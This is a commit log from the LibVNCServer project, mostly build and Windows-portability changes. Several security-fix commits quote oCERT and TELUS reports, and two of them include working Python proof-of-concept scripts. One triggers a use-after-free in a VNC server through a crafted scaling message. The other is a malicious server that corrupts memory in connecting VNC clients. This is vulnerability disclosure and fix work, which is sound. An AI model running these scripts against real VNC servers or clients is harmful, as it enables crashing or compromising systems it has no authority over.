Commit Graph

1512 Commits (c80879ee69bcad51564b8b183f63131934006bf5)
 

Author SHA1 Message Date
Christian Beier 0aa204d818 Update comments regarding rfbClientConnectionGone(). 10 years ago
Christian Beier 668d3e3785 Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.
Reported by Ken Johnson <Ken.Johnson1@telus.com>.

The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)

      if (msg.ssc.scale == 0) {
          rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
          rfbCloseClient(cl);
          return;
      }

      rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
      rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
      rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);

      rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
      return;

at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.

    else
    {
        rfbResizeFrameBufferMsg        rmsg;
        rmsg.type = rfbResizeFrameBuffer;
        rmsg.pad1=0;
        rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
        rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
        rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
        if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
            rfbLogPerror("rfbNewClient: write");
            rfbCloseClient(cl);
            rfbClientConnectionGone(cl); << Call which may can lead to a free.
            return FALSE;
        }
    }
    return TRUE;

Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.

POC script to trigger the vulnerability:

---snip---

import socket,binascii,struct,sys
from time import sleep

class RFB:

    INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
    AUTH_NO_PASS  = "\x01"
    AUTH_PASS = "\x02"
    SHARE_DESKTOP = "\x01"

    def AUTH_PROCESS(self,data,flag):
        if flag == 0:
            # Get security types
            secTypeCount = data[0]
            secType = {}
            for i in range(int(len(secTypeCount))):
                secType[i] = data[1]
            return secType
        elif flag == 1:
            # Get auth result
            # 0 means auth success
            # 1 means failure
            return data[3]

    def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
        try:
            from Crypto.Cipher import DES
        except:
            print "Error importing crypto. Please fix or do not require authentication"
            sys.exit(1)
        if len(PASSWORD) != 8:
            PASSWORD = PASSWORD.ljust(8, '\0')

        PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
        PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
        crypto = DES.new(PASSWORD)
        return crypto.encrypt(data)

    def reverse_bits(self,x):
        a=0
        for i in range(8):
            a += ((x>>i)&1)<<(7-i)
        return a

def main(argv):

    print "Proof of Concept"
    print "Copyright TELUS Security Labs"
    print "All Rights Reserved.\n"

    try:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    except:
        print "Usage: python setscale_segv_poc.py <host> <port> [password]"
        sys.exit(1)
    try:
        PASSWORD = sys.argv[3]
    except:
        print "No password supplied"
        PASSWORD = ""

    vnc = RFB()

    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote.connect((HOST,PORT))

    # Get server version
    data = remote.recv(1024)
    # Send 3.8 version
    remote.send(vnc.INIT_3008)
    # Get supported security types
    data = remote.recv(1024)
    # Process Security Message
    secType = vnc.AUTH_PROCESS(data,0)

    if secType[0] == "\x02":
        # Send accept for password auth
        remote.send(vnc.AUTH_PASS)
        # Get challenge
        data = remote.recv(1024)
        # Send challenge response
        remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))

    elif secType[0] == "\x01":
        # Send accept for None pass
        remote.send(vnc.AUTH_NO_PASS)

    else:
        print 'The server sent us something weird during auth.'
        sys.exit(1)

    # Get result
    data = remote.recv(1024)
    # Process result
    result = vnc.AUTH_PROCESS(data,1)

    if result == "\x01":
        # Authentication failure.
        data = remote.recv(1024)
        print 'Authentication failure. Server Reason: ' + str(data)
        sys.exit(1)

    elif result == "\x00":
        print "Authentication success."

    else:
        print 'Some other authentication issue occured.'
        sys.exit(1)

    # Send ClientInit
    remote.send(vnc.SHARE_DESKTOP)

    # Send malicious message
    print "Sending malicious data..."
    remote.send("\x08\x08\x00\x00")
    remote.close()

if __name__ == "__main__":
    main(sys.argv)

---snap---
10 years ago
dscho d4c0ebf3c7 Merge pull request #43 from maksqwe/fix_rfbSelectBox
Fix selData.buttonWidth calculation
10 years ago
Maks Naumov 02d0f73ee8 Fix selData.buttonWidth calculation
Operator "+" has a higher priority than "? :"
10 years ago
Christian Beier 7ef0ae905c Fix possible libvncclient ServerInit memory corruption.
This fixes the following oCERT report (oCERT-2014-008 pt.2):

There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.

Field             Size
---------------------------------
name-length [4]
name-string  [name-length]

Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.

I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.

Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.

import socket,struct,sys

HOST = ""
PORT =  5900

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)

conn,addr = c.accept()
print "Connected by ", addr

protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)

data = conn.recv(1024) # Receive the version from them.

secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)

data = conn.recv(1024) # Receive the secType choice from them.

secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)

data = conn.recv(1024) # Receive the ClientInit (Shared-flag).

frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM =  0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"

conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )

c.close()
11 years ago
Christian Beier 95efcfbf0c Fix potential memory corruption in libvncclient.
Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):

LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length

It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.

  case rfbServerCutText:
  {
    char *buffer;

    if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
			   sz_rfbServerCutTextMsg - 1))
      return FALSE;

    msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length

    buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0

    if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
      return FALSE;

    buffer[msg.sct.length] = 0; << Attempt to write to buffer

    if (client->GotXCutText)
      client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer

    free(buffer);

    break;
  }

If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.
11 years ago
Christian Beier cdc5b5196c Update NEWS for 0.9.10. 11 years ago
Christian Beier eeeb54758f Update AUTHORS. 11 years ago
dscho 22a4657fa0 Merge pull request #42 from LibVNC/autotools-fix-revisited
Add autoconf macros that might not be installed with a usual autotools setup
11 years ago
Christian Beier 26d5253ca6 Ship the required macros in the m4/ directory.
This is recommended practice as per
https://www.gnu.org/software/automake/manual/html_node/Local-Macros.html.

It fixes the problem that arose when one of the maintainers could not build LibVNCServer
after https://github.com/LibVNC/libvncserver/pull/38 was merged.

Symptoms included

  checking whether make sets $(MAKE)... yes
  ./configure: line 2481: syntax error near unexpected token `rfb/rfbconfig.h'
  ./configure: line 2481: `AX_PREFIX_CONFIG_H(rfb/rfbconfig.h)'

until autoconf-archive was installed (which was a previously unmentioned
requirement for Pull Request #38) – this is not always an option, in particular
when the project needs to be built using a system-wide autoconf installation
that cannot be modified easily by the developer.
11 years ago
Johannes Schindelin ea0e98428d Add back a working autogen.sh
There was no reason to get rid of the convenient script. Most developers
who are not in love with autoconf fail to remember that autoreconf
invocation, therefore it is better to have something working in place.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
Nicolas Ruff c18fa98b1f Fix stack-based buffer overflow
There was a possible buffer overflow in rfbFileTransferOffer message when
processing the FileTime.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
dscho 7e9ce73b5d Merge pull request #41 from newsoft/master
Fixing 2 security issues
11 years ago
newsoft 83bf1f5974 Fix multiple stack-based buffer overflows in file transfer feature 11 years ago
newsoft 8220f4da4c Make sure that no integer overflow could occur during scaling 11 years ago
Christian Beier 9aa9ac59b4 Add libvncclient/h264.c to dist tarball.
Otherwise the sources from a 'make dist' package wouldn't compile.
11 years ago
Christian Beier eab5866516 Really add empty m4 subdirectory.
This change kinda got lost with the last commit re-splitting.
11 years ago
Christian Beier a1125ad9a6 Merge pull request #38 from LibVNC/autotools-fix-revisited
Autotools fix revisited.
11 years ago
Christian Beier 6e39e7c6f8 INSTALL and ltmain.sh need those leading slashes.
.dirstamp, OTOH, is to be expected in several subdirectories.
11 years ago
Christian Beier 465a5b0bd5 Update noVNC HTML5 client to latest version from https://github.com/kanaka/noVNC. 11 years ago
Brian Bidulock 9994e3aad0 add a few more ignores 11 years ago
Brian Bidulock 883da427a5 removed autogen.sh
- no longer applicable: use autoreconf -fiv
11 years ago
Christian Beier b94838a58a Remove autotools-related files that will get installed by autoreconf -i. 11 years ago
Brian Bidulock acf095086d Use an m4 script subdirectory, fix automake init and two macro names. 11 years ago
Brian Bidulock 57b0e4f4fe Rename obsolete INCLUDES to AM_CPPFLAGS 11 years ago
Johannes Schindelin ad7a054e8c Close unclosed comments ;-)
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
dscho 198c855d2a Merge pull request #36 from danielgindi/master
A forgotten `#ifdef WIN32` broke UNIX build.
11 years ago
Daniel Cohen Gindi b288722ea6 A forgotten `#ifdef WIN32` broke UNIX build. 11 years ago
dscho bf87073f7a Merge pull request #33 from danielgindi/master
More MSVC adjustments, now focuses on the libvncserver
11 years ago
Daniel Cohen Gindi fd075263f9 Signal is a fundamental UNIX function, and must be omitted for any windows compilation 11 years ago
Daniel Cohen Gindi a7f79b696e These are UNIX headers, and are not available on MSVC 11 years ago
Daniel Cohen Gindi e69e1efd75 Those are generally the windows headers, not just MinGW 11 years ago
Daniel Cohen Gindi 1fc2951f22 On windows, use the Win32 calls for directory enumerations.
We also do not need the conversion between UNIX values to Windows values in the RTF_FIND_DATA struct, as we already are on windows.
11 years ago
Daniel Cohen Gindi 901eba9f46 Generally adjusting headers for compiling on windows without the mixing of Winsock 1 and 2. 11 years ago
Daniel Cohen Gindi 8c58593649 Just use a macro to bridge to the Win32 version of `mkdir`
The additional compat_mkdir function was not necessary at all.
11 years ago
Daniel Cohen Gindi 741a18446c Use correct `winsock2.h` version header instead of winsock.h.
`windows.h` is referring to `winsock.h` (unless the `WIN32_LEAN_AND_MEAN` is defined).
The structs used in this header are defined in `winsock2.h` or in `winsock.h`, but we are using Winsock2 of course!
So we have to include winsock2.h and refrain from including windows.h here
11 years ago
Daniel Cohen Gindi 026c48e7fc Fixed a violation of the C89 standard ("declarations must come before instructions") 11 years ago
Daniel Cohen Gindi 7f8520d05c A windows version for directory enumerations
Basically taken from https://github.com/danielgindi/FileDir with some adjustments
11 years ago
Daniel Cohen Gindi 42ff7fb85b MSVC also has the __FUNCTION__ predefined 11 years ago
Daniel Cohen Gindi 51d0db7107 `CreateDirectory` might clash with the `CreateDirectoryA`/`CreateDirectoryW` macros on MSVC 11 years ago
Daniel Cohen Gindi b2b705aa33 Fail when NULL is passed to CreateFileListInfo()
Passing NULL to sprintf() would most likely crash the program.
11 years ago
Daniel Cohen Gindi fbf48c65f3 `strings.h` and `resolv.h` are not available on MSVC, and some POSIX functions are renamed or deprecated
For all of those missing/deprecated POSIX functions, we just add a macro mapping to the _underscored version of MSVC.
11 years ago
Christian Beier fdf5f8876f The HAVE_X11 define is not there anymore, but we don't need it either. 11 years ago
Christian Beier d999a8eae3 Move vncterm to https://github.com/LibVNC/vncterm. 11 years ago
Christian Beier 7960c6871d Move VisualNaCro to https://github.com/LibVNC/VisualNaCro. 11 years ago
Christian Beier 9bf5fe0160 Move prepare_x11vnc_dist.sh over to x11vnc repo. 11 years ago
Christian Beier 0f25ea7324 Remove x11vnc from autotools build system. 11 years ago
Christian Beier 7dfd4f3b04 Remove tightvnc-1.3dev5-vncviewer-alpha-cursor.patch. 11 years ago
Christian Beier 498d222976 Remove x11vnc subdir.
The new x11vnc repo is at https://github.com/LibVNC/x11vnc.
11 years ago
Johannes Schindelin 8d2db0486d Fix tv_usec calculation
This bug was introduced in the MSVC patches.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago